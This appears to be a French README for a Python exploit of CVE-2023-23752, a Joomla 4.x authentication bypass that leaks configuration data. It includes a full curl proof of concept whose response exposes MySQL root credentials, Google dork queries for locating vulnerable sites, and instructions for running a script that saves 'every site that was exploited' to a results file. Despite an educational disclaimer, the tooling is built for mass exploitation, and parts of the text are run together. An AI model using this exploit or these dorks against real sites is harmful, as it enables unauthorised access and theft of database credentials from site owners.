
Exploit pour CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7).
Exploit pour CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7).
Comme discuté, CVE-2023-23752 est un contournement d'authentification entraînant une fuite d'informations. La plupart des exploits publics utilisent ce contournement pour divulguer la configuration du système, qui contient les identifiants de la base de données MySQL de Joomla! en texte clair. Ce qui suit démontre la fuite :
$ curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true
* Trying 10.9.49.205:80...
* TCP_NODELAY set
* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.9.49.205
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 20 Mar 2023 15:14:05 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 20 Mar 2023 15:14:05 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 1983
< Content-Type: application/vnd.api+json; charset=utf-8
<
{"links":{"self":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":224}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":224}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":224}},{"type":"application","id":"224","attributes":{"offline_image":"","id":224}},{"type":"application","id":"224","attributes":{"sitename":"vulncheck","id":224}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":224}},{"type":"application","id":"224","attributes":{"captcha":"0","id":224}},{"type":"application","id":"224","attributes":{"list_limit":20,"i* Connection #0 to host 10.9.49.205 left intact
d":224}},{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"host":"localhost","id":224}},{"type":"application","id":"224","attributes":{"user":"root","id":224}},{"type":"application","id":"224","attributes":{"password":"labpass1","id":224}},{"type":"application","id":"224","attributes":{"db":"joomla_db","id":224}},{"type":"application","id":"224","attributes":{"dbprefix":"xj3n0_","id":224}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":224}}],"meta":{"total-pages":4}}
Dans la preuve de concept ci-dessus, le serveur répond avec les identifiants root:labpass1, qui sont les identifiants de notre compte MySQL de test Joomla!. Mais il est important de savoir que notre serveur MySQL de test était lié à 127.0.0.1, donc l'attaquant distant ne peut pas accéder au serveur, rendant les identifiants presque inutiles. Lier MySQL à localhost devrait être la configuration la plus courante, ce qui limite considérablement cette fuite d'identifiants.
Cet exploit et preuve de concept (PoC) sont présentés uniquement à des fins éducatives et informatives. L'intention derrière le partage de ceci est de démontrer des vulnérabilités potentielles dans un environnement contrôlé. L'objectif est de promouvoir la compréhension des concepts de cybersécurité et d'encourager la divulgation responsable.
En accédant et en utilisant cet exploit et PoC, vous reconnaissez que vous êtes seul responsable de vos actions et acceptez d'utiliser ces informations conformément aux lois et réglementations en vigueur. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de conséquences découlant de l'utilisation de ce PoC à des fins autres que l'éducation et la divulgation responsable.
requests, colorama, urllib3, fake_useragent, aio-httpClonez le dépôt :
git clone https://github.com/Pushkarup/CVE-2023-23752.git
cd CVE-2023-23752
Installez les paquets Python requis :
pip install -r requirements.txt
.txt.inurl:/api/index.php/v1/config/application?public=true , intitle:"Index of" /api/index.php/v1/config/application?public=true , filetype:php inurl:/api/index.php/v1/config/application?public=true , intitle:"Index of" AND intext:"config" AND intext:"application" AND intext:"public=true"Exécutez le script :
python joomla.py
Laissez le script s'exécuter et suivez les instructions.
Chaque site qui a été exploité sera stocké dans Results.txt.
Les contributions sont les bienvenues ! Si vous trouvez des problèmes ou avez des améliorations, n'hésitez pas à ouvrir une pull request ou à créer une issue.
Ce projet est sous licence MIT.